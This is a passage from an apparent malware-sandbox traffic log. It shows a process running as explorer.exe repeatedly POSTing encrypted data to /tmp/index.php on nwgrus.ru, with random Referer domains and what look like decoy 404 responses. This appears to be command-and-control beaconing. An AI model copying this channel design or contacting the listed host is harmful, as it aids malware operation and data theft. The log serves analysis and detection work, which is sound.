Oct 7, 2024 14:59:44.027868032 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:43 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49910	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:44.037916899 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://isbmdtufnkfjsgc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 342 Host: nwgrus.ru
Oct 7, 2024 14:59:44.037940025 CEST	342	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 5b 1a d4 f1 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu[5C~`nW3oabe'"?tQV\{7vrsW'ZD@6U C$en!dx)w[W?YPMj
Oct 7, 2024 14:59:44.971501112 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:44 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49916	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:44.981661081 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dkfsbqntnihxbnlu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 223 Host: nwgrus.ru
Oct 7, 2024 14:59:44.981683016 CEST	223	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 5b 07 b1 ae Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu[VHvcMw!6i\|LXk4]A.4.9TAH_d3~SJ&0z*M/RaEb
Oct 7, 2024 14:59:45.906971931 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:45 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49922	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:46.020895004 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aiwrtqoespykiwu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 171 Host: nwgrus.ru
Oct 7, 2024 14:59:46.021135092 CEST	171	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 23 0a e1 f8 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu#c}tJm97x"oar0UVd,0YMGMMo*F.`]hj
Oct 7, 2024 14:59:47.047126055 CEST	189	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:46 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 59 39 08 a5 6c 5f b5 ac 17 bd cf b4 fe 6d 9f 3d d4 a1 72 0a 41 c2 8f 97 cb Data Ascii: #\6Y9l_m=rA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49939	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:48.526978016 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://isyxarorgwntyxfd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 186 Host: nwgrus.ru
Oct 7, 2024 14:59:48.526978016 CEST	186	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2c 5b 1c 6b 2c 90 f4 76 0b 75 48 34 e4 95 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA ,[k,vuH4d\Wbo;YaaaYKbjoXY]M2[t6'_7?O=F
Oct 7, 2024 14:59:49.566504955 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:49 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49945	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:49.618535995 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://busntnknves.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 347 Host: nwgrus.ru
Oct 7, 2024 14:59:49.618563890 CEST	347	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 40 38 ef 82 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu@8\>X]:7`:phQ\R"TFHvY-O0GS< SVn_]6i)=9scdXRli;>B
Oct 7, 2024 14:59:50.520540953 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:50 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49952	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:50.586827993 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ewcutxkdkeyvacp.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 244 Host: nwgrus.ru
Oct 7, 2024 14:59:50.586843967 CEST	244	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 67 32 cb e8 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vug2xI3UD${;LvDmXJ7TOGH>DfF,=bU,1@7CtNC=&)bj7Px
Oct 7, 2024 14:59:51.497476101 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:51 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49961	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:51.742364883 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lwocwqbtqohnf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 169 Host: nwgrus.ru
Oct 7, 2024 14:59:51.742364883 CEST	169	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 74 39 bd 9d Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vut9KLhxgaY?{~ii56Mah![p\F\| 6
Oct 7, 2024 14:59:52.660981894 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:52 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49969	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:52.670686960 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tiisncfdrpaiu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 361 Host: nwgrus.ru
Oct 7, 2024 14:59:52.670716047 CEST	361	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 10 6b 2c 90 f5 76 0b 75 28 20 f9 f4 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu( E9{@Hsf;W[Ew2D X-Q/NHfUzq';$t* r_t/?D){fIMZ/@eA::
Oct 7, 2024 14:59:53.587590933 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:53 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49975	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:53.597395897 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gieumfrwvwjruuah.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 114 Host: nwgrus.ru
Oct 7, 2024 14:59:53.597424984 CEST	114	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 11 6b 2c 90 f5 76 0b 75 7b 0b fa 8d Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu{SCXtnD3%5Q
Oct 7, 2024 14:59:54.529414892 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:54 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 